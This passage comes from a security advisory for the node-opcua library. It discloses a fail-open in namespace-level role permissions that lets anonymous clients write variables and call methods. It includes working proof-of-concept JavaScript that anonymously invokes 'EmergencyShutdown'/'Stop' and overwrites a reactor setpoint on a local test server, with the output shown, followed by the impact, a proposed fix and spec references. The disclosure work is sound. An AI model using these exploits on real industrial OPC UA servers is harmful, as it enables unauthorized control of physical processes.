client.createSession({ type: UserTokenType.Anonymous });\n    console.log(\"[client] Anonymous session activated\");\n\n    let callStatus;\n    try {\n        const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });\n        callStatus = r.statusCode.toString();\n    } catch (e) { callStatus = e.message; }\n\n    let writeStatus;\n    try {\n        const r = await session.write({\n            nodeId: variableNodeId,\n            attributeId: AttributeIds.Value,\n            value: { value: { dataType: DataType.Double, value: 999.0 } }\n        });\n        writeStatus = r.toString();\n    } catch (e) { writeStatus = e.message; }\n\n    await session.close();\n    await client.disconnect();\n    return { callStatus, writeStatus };\n}\n\n(async () =\u003e {\n    const server = await startServer();\n    try {\n        const { callStatus, writeStatus } = await anonymousAttack();\n        console.log(`\\nMode: ${SAFE_MODE ? \"SAFE\" : \"VULNERABLE\"}`);\n        console.log(`CALL  EmergencyShutdown : ${callStatus}`);\n        console.log(`WRITE ReactorSetpoint   : ${writeStatus}`);\n        const vuln = callStatus.includes(\"Good\") || writeStatus.includes(\"Good\");\n        console.log(vuln ? \"\\nVULNERABLE - Anonymous bypassed namespace RBAC\" : \"\\nSAFE - RBAC correctly enforced\");\n    } finally {\n        await server.shutdown();\n    }\n})().catch(e =\u003e { console.error(e); process.exit(1); });\n```\n\n**Vulnerable output** (`node poc_b_e2e_rbac.js`):\n\n```text\n[server] EmergencyShutdown EXECUTED by anonymous caller\nMode: VULNERABLE\nCALL  EmergencyShutdown : Good (0x00000000)\nWRITE ReactorSetpoint   : Good (0x00000000)\n```\n\n**Control output** (`node poc_b_e2e_rbac.js --safe`):\n\n```text\nMode: SAFE\nCALL  EmergencyShutdown : BadUserAccessDenied (0x801f0000)\nWRITE ReactorSetpoint   : BadUserAccessDenied (0x801f0000)\n```\n\n### PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)\n\nSave as `packages/node-opcua/poc_c_nodeset_rbac.js`, then run `node poc_c_nodeset_rbac.js`:\n\n```js\nconst {\n    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,\n    MessageSecurityMode, SecurityPolicy, UserTokenType,\n    WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets\n} = require(\"node-opcua\");\n\nconst PORT = 48412, DI_URI = \"http://opcfoundation.org/UA/DI/\";\nlet deviceId, methodId, variableId;\n\nasync function startServer() {\n    const server = new OPCUAServer({\n        port: PORT,\n        securityPolicies: [SecurityPolicy.None],\n        securityModes: [MessageSecurityMode.None],\n        allowAnonymous: true,\n        nodeset_filename: [nodesets.standard, nodesets.di]\n    });\n    await server.initialize();\n\n    const di = server.engine.addressSpace.getNamespace(DI_URI);\n    di.setDefaultRolePermissions([\n        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag(\"Read | Write | Browse | Call\") }\n    ]);\n    try {\n        setNamespaceMetaData(di);\n        console.log(\"[server] hardening: metadata bound\");\n    } catch (e) {\n        console.log(\"[server] hardening FAILED:\", e.message);\n    }\n\n    const device = di.addObject({ browseName: \"Pump01\", organizedBy: server.engine.addressSpace.rootFolder.objects });\n    deviceId = device.nodeId;\n\n    const m = di.addMethod(device, { browseName: \"Stop\", inputArguments: [], outputArguments: [] });\n    m.bindMethod((_i, _c, cb) =\u003e {\n        console.log(\"[server] Stop() EXECUTED by anonymous\");\n        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });\n    });\n    methodId = m.nodeId;\n\n    const v = di.addVariable({\n        browseName: \"Setpoint\",\n        componentOf: device,\n        dataType: DataType.Double,\n        accessLevel: \"CurrentRead | CurrentWrite\",\n        userAccessLevel: \"CurrentRead | CurrentWrite\",\n        value: { dataType: DataType.Double, value: 42 }\n    });\n    variableId = v.nodeId;\n\n    await server.start();\n    return server;\n}\n\nasync function attack() {\n    const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });\n    await client.connect(`opc.tcp://localhost:${PORT}`);\n    const s = await client.createSession({ type: UserTokenType.Anonymous });\n    const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();\n    const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();\n    await s.close();\n    await client.disconnect();\n    console.log(\"CALL  Stop()   :\", call);\n    console.log(\"WRITE Setpoint :\", write);\n}\n\n(async () =\u003e {\n    const srv = await startServer();\n    try { await attack(); } finally { await srv.shutdown(); }\n})().catch(e =\u003e { console.error(e); process.exit(1); });\n```\n\n**Output:**\n\n```text\n[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/\n[server] Stop() EXECUTED by anonymous\nCALL  Stop()   : Good (0x00000000)\nWRITE Setpoint : Good (0x00000000)\n```\n\n---\n\n## Impact\n\n- **Write** arbitrary values to Variables (`CurrentWrite`) governed only by namespace-level RBAC,  e.g. process setpoints, safety parameters.\n- **Call** bound Methods. Methods have no AccessLevel second gate; `executable` defaults to `true` for bound methods (`ua_method_impl.ts`).\n- Affects **every Node** relying on the namespace `DefaultRolePermissions` inheritance mandated by OPC 10000-3 \u00a75.2.9.\n- Anonymous receives **every** `PermissionFlag` because `null` resolves to `allPermissions`.\n- Availability impact (**A:H**, CVSS **9.8**) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored `A:N` as deployment-specific.\n\n## What is NOT affected\n\nServers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.\n\n- Nodes with explicit **per-node** `RolePermissions` (correctly enforced - PoC-A case A).\n- Programmatically-created namespaces where the operator calls **both** `setDefaultRolePermissions()` **and** `setNamespaceMetaData()` (PoC-B `--safe`).\n- Variables without `CurrentWrite` in AccessLevel (the **Call** vector still applies to Methods).\n\n---\n\n## Proposed Fix\n\n1. **Fail-closed** - `getPermissionForRole(null)` should return `PermissionFlag.None`, not `allPermissions` (per \u00a74.8.3 default-deny).\n2. **Coherent path** - `getApplicableRolePermissions()` should use `node.getRolePermissions(inherited=true)`, which already reads the namespace field correctly.\n3. **API safety** - `setDefaultRolePermissions()` should take effect on enforcement directly, without requiring `setNamespaceMetaData()` (which throws on nodeset-loaded namespaces).\n4. **Hardening** - `server_engine.ts:947-957` should not unconditionally reset `DefaultRolePermissions`.\n\n---\n\n## Spec Reference (verified verbatim against the official OPC Foundation reference)\n\n- **OPC 10000-3 \u00a74.8.3 - Evaluating Permissions with Roles:** *\"If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns `Bad_UserAccessDenied`.\"* (default-deny, the behaviour Bug 1 inverts). \u003chttps://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3\u003e\n- **OPC 10000-3 \u00a75.2.9 - RolePermissions:** *\"If not specified, the value of `DefaultRolePermissions` Property from the `NamespaceMetadata` Object associated with the Node shall be used instead.\"* and *\"If a Server supports Permissions for a particular Namespace it shall add the `DefaultRolePermissions` Property to the `NamespaceMetadata` Object for that Namespace.\"* \u003chttps://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9\u003e\n- **OPC 10000-5 \u00a76.3.13 - NamespaceMetadataType** (defines `DefaultRolePermissions` / `DefaultUserRolePermissions` as Properties of the `NamespaceMetadata` Object). \u003chttps://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13\u003e",
  "id": "GHSA-xggf-m53x-jc3f",
  "modified": "2026-11-10T15:56:52Z",
  "published": "2026-11-10T15:56:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/node-opcua/node-opcua/security/advisories/GHSA-xggf-m53x-jc3f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95860"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-opcua/node-opcua/pull/1580"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-opcua/node-opcua/commit/0261e873900800983c622e01120f484dc6063698"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/node-opcua/node-opcua"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-opcua/node-opcua/releases/tag/v2.180.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions"
}

Mitigation
Architecture and Design

Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

No CAPEC attack patterns related to this CWE.